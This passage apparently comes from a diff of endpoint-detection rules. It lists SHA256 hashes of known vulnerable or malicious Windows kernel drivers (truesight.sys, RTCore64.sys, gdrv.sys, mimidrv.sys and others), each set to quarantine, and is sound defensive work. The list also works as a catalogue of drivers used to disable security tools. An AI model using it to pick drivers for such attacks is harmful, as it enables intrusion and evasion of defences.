+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472781Z",
+  "creation_date": "2026-03-23T11:45:31.472785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18d775e0c20385cbf3960af4f34f692413d079c65d0a395cd5666aea1ba2abf0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "469ede74-dea3-54f0-aaf0-86af1b795905",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453072Z",
+  "creation_date": "2026-03-23T11:45:30.453076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b688dd055ead2c915a139598c8db7962b42cb6e744eaacfcb338c093fc1f4e7",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46a13a09-3ebe-5bec-95c1-3ba9bd0bc34b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475945Z",
+  "creation_date": "2026-03-23T11:45:31.475958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "338640f5bd468ab9235be611cd141dd55bc90b90f4c1d182b81ee28946870cf6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46a861e5-7908-547a-8e1f-eb47b8277b7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612868Z",
+  "creation_date": "2026-03-23T11:45:29.612881Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612887Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8fcc8ef2b27c0c0622d069981e39f112d3b3b0dbede053340bc157ba1316eab",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46aa5cbc-c18c-5ee4-bb6b-7c2aeb979b60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473608Z",
+  "creation_date": "2026-03-23T11:45:31.473612Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3729b57e32e9e97a62afe6ded0f9df82680df58165727a6f89470a29631364f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46bd6960-86b7-5e4c-84e2-5ee8abe6019a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822264Z",
+  "creation_date": "2026-03-23T11:45:30.822266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4341b5814bf1b0291739f00c359f9dc1e3b8a66dede099086f9760f7f4e0885",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46c130a2-b83f-5a8e-b4f7-d96b98955594",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824258Z",
+  "creation_date": "2026-03-23T11:45:30.824260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31a0a87bfcfbd1e3b11d7b243d00afa64e2c929650abd4f25bbbab6076a09eb5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46c17287-e333-57c2-ba23-9c41a3043188",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486830Z",
+  "creation_date": "2026-03-23T11:45:31.486833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486842Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f4fce3299c057b842729aeeeed7357b9e49d39eb7cd441d8c27429c0e6f5344",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46c4b987-8405-5e51-abe3-16979c32d9e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463241Z",
+  "creation_date": "2026-03-23T11:45:30.463244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f98492c92e35042b09032e3d9aedc357e4df94fc840217fa1091046f9248a06",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46c60627-4024-5982-a0dc-53158bbd3bb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492303Z",
+  "creation_date": "2026-03-23T11:45:31.492305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492310Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8d010b6ac526ca64bd8e83b85f70d012e0c70f9fef7a994c81b23374cabdfd6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46c9f10d-bef5-5fc8-ad27-ab886dc9f099",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609111Z",
+  "creation_date": "2026-03-23T11:45:29.609113Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609118Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46e1caab-e832-52ef-a626-e70f095ffa09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146331Z",
+  "creation_date": "2026-03-23T11:45:31.146333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146338Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f831d25420ac04def39ee82c27d04a399c5c190c0e0b46f3ae9f633af9c67f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "46e448ef-039e-52ed-add9-8a1b75817393",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822493Z",
+  "creation_date": "2026-03-23T11:45:31.822496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "478d8b424aea58c61633bd61bfb5c869b7b6657bec5c0e94b94ad420ead4087f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4700c6d9-95c2-53eb-8f37-fcd863c9d622",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831109Z",
+  "creation_date": "2026-03-23T11:45:30.831111Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "866d0e5b9ee58fbd240988ec6339f4969e8f07f1c2db0f41aa5051d1a2cdb0d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "471c270b-b1f9-5924-8e0f-9ae7d30f098c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617626Z",
+  "creation_date": "2026-03-23T11:45:29.617628Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43c44fde2c29ea68e5af2c7684d069ae0ab94c9f0e790c5530d17ac3be7d4076",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "475d0c41-fe6d-5f32-bd5d-800a1ba62fa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807714Z",
+  "creation_date": "2026-03-23T11:45:31.807717Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d072f75fb30b7e26a0b4fd3b424b98ca0d027663ca4a7e93231d6113ed006d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4777c8c4-651e-52b8-8538-302579303eb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973755Z",
+  "creation_date": "2026-03-23T11:45:29.973757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973763Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76e807b6c0214e66455f09a8de8faad40b738982ca84470f0043de0290449524",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47877298-f828-54f3-815a-98a92bd7012d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160854Z",
+  "creation_date": "2026-03-23T11:45:31.160858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea49294c0fd55e801029f6d91fb7214e430129847f000703f64ab55dea5c6383",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "478c5bcf-0e8e-52ed-bd6a-a6848fe623ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485103Z",
+  "creation_date": "2026-03-23T11:45:31.485107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8e00fc3b744f3e5d3d92540224f47ef464dccb2be3643cb3edfe6b2c8190791",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "478efeeb-cfb1-5749-b6c5-bd400eed0311",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461070Z",
+  "creation_date": "2026-03-23T11:45:30.461073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b749566057dee0439f54b0d38935e5939b5cb011c46d7022530f748ebc63efe5",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4793c542-0ab5-57ca-a27b-eb5f6d91cda6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488908Z",
+  "creation_date": "2026-03-23T11:45:31.488910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87905c83e18400b2f15f26e8e22ec9e245778f8e35d085b3277c044eae9cc4d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "479477a2-1417-5663-927e-489e9e90c8b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818291Z",
+  "creation_date": "2026-03-23T11:45:31.818295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818303Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8aef476014f44450ac2b1bd46946473f51aa6cba2fbfa0b65d9fa68d34398def",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47a88448-4b89-5a9e-8cef-a3633f100845",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476707Z",
+  "creation_date": "2026-03-23T11:45:30.476711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
